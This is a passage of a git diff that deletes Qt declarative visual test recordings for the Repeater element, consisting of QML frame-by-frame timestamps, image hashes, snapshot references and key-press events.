msec: 1248 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1264 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1280 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1296 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1312 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1328 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } -} diff --git a/tests/auto/declarative/visual/repeater/data-X11/basic4.0.png b/tests/auto/declarative/visual/repeater/data-X11/basic4.0.png deleted file mode 100644 index 18ab543..0000000 Binary files a/tests/auto/declarative/visual/repeater/data-X11/basic4.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data-X11/basic4.qml b/tests/auto/declarative/visual/repeater/data-X11/basic4.qml deleted file mode 100644 index 4839206..0000000 --- a/tests/auto/declarative/visual/repeater/data-X11/basic4.qml +++ /dev/null @@ -1,419 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 32 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 48 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 64 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 80 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 96 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 112 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 128 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 144 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 160 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 176 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 192 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 208 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 224 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 240 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 256 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 272 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 288 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 304 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 320 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 336 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 352 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 368 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 384 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 400 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 416 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 432 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 448 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 464 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 480 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 496 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 512 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 528 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 544 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 560 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 576 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 592 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 608 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 624 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 640 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 656 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 672 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 688 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 704 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 720 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 736 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 752 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 768 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 784 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 800 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 816 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 832 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 848 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 864 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 880 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 896 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 912 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 928 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 944 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 960 - image: "basic4.0.png" - } - Frame { - msec: 976 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 992 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1008 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1024 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1040 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1056 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1072 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1088 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1104 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1120 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1136 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1152 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1168 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1184 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1200 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1216 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1232 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1248 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1264 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1280 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1296 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1312 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1328 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1344 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1360 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1376 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1392 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1408 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1424 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1440 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1456 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1472 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1488 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1504 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1520 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1536 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1552 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1568 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1584 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1600 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1616 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } -} diff --git a/tests/auto/declarative/visual/repeater/data/basic1.0.png b/tests/auto/declarative/visual/repeater/data/basic1.0.png deleted file mode 100644 index aea0e98..0000000 Binary files a/tests/auto/declarative/visual/repeater/data/basic1.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data/basic1.qml b/tests/auto/declarative/visual/repeater/data/basic1.qml deleted file mode 100644 index 9535a2c..0000000 --- a/tests/auto/declarative/visual/repeater/data/basic1.qml +++ /dev/null @@ -1,323 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 32 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 48 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 64 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 80 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 96 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 112 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 128 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 144 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 160 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 176 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 192 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 208 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 224 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 240 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 256 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 272 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 288 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 304 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 320 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 336 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 352 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 368 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 384 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 400 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 416 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 432 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 448 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 464 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 480 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 496 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 512 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 528 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 544 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 560 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 576 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 592 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 608 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 624 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 640 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 656 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 672 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 688 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 704 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 720 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 736 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 752 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 768 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 784 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 800 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 816 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 832 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 848 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 864 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 880 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 896 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 912 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 928 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 944 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 960 - image: "basic1.0.png" - } - Frame { - msec: 976 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 992 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1008 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1024 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1040 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1056 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1072 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1088 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1104 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1120 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1136 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1152 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1168 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1184 - hash: "539de20cf149353d2677111ea3de5681" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1200 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1216 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1232 - hash: "539de20cf149353d2677111ea3de5681" - } -} diff --git a/tests/auto/declarative/visual/repeater/data/basic2.0.png b/tests/auto/declarative/visual/repeater/data/basic2.0.png deleted file mode 100644 index aea0e98..0000000 Binary files a/tests/auto/declarative/visual/repeater/data/basic2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data/basic2.qml b/tests/auto/declarative/visual/repeater/data/basic2.qml deleted file mode 100644 index 81bc1f7..0000000 --- a/tests/auto/declarative/visual/repeater/data/basic2.qml +++ /dev/null @@ -1,331 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 32 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 48 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 64 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 80 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 96 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 112 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 128 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 144 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 160 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 176 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 192 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 208 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 224 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 240 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 256 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 272 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 288 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 304 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 320 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 336 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 352 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 368 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 384 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 400 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 416 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 432 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 448 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 464 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 480 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 496 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 512 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 528 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 544 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 560 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 576 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 592 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 608 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 624 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 640 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 656 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 672 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 688 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 704 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 720 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 736 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 752 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 768 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 784 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 800 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 816 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 832 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 848 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 864 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 880 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 896 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 912 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 928 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 944 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 960 - image: "basic2.0.png" - } - Frame { - msec: 976 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 992 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1008 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1024 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1040 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1056 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1072 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1088 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1104 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1120 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1136 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1152 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1168 - hash: "539de20cf149353d2677111ea3de5681" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1184 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1200 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1216 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1232 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1248 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1264 - hash: "539de20cf149353d2677111ea3de5681" - } -} diff --git a/tests/auto/declarative/visual/repeater/data/basic3.0.png b/tests/auto/declarative/visual/repeater/data/basic3.0.png deleted file mode 100644 index aea0e98..0000000 Binary files a/tests/auto/declarative/visual/repeater/data/basic3.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data/basic3.qml b/tests/auto/declarative/visual/repeater/data/basic3.qml deleted file mode 100644 index 417eaab..0000000 --- a/tests/auto/declarative/visual/repeater/data/basic3.qml +++ /dev/null @@ -1,347 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 32 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 48 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 64 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 80 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 96 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 112 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 128 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 144 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 160 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 176 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 192 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 208 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 224 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 240 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 256 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 272 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 288 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 304 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 320 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 336 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 352 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 368 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 384 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 400 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 416 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 432 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 448 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 464 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 480 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 496 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 512 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 528 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 544 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 560 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 576 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 592 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 608 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 624 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 640 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 656 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 672 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 688 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 704 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 720 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 736 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 752 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 768 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 784 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 800 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 816 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 832 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 848 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 864 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 880 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 896 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 912 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 928 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 944 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 960 - image: "basic3.0.png" - } - Frame { - msec: 976 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 992 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1008 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1024 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1040 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1056 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1072 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1088 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1104 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1120 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1136 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1152 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1168 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1184 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1200 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1216 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1232 - hash: "539de20cf149353d2677111ea3de5681" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1248 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1264 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1280 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1296 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1312 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1328 - hash: "539de20cf149353d2677111ea3de5681" - } -} diff --git a/tests/auto/declarative/visual/repeater/data/basic4.0.png b/tests/auto/declarative/visual/repeater/data/basic4.0.png deleted file mode 100644 index aea0e98..0000000 Binary files a/tests/auto/declarative/visual/repeater/data/basic4.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data/basic4.qml b/tests/auto/declarative/visual/repeater/data/basic4.qml deleted file mode 100644 index 264d825..0000000 --- a/tests/auto/declarative/visual/repeater/data/basic4.qml +++ /dev/null @@ -1,419 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 32 - 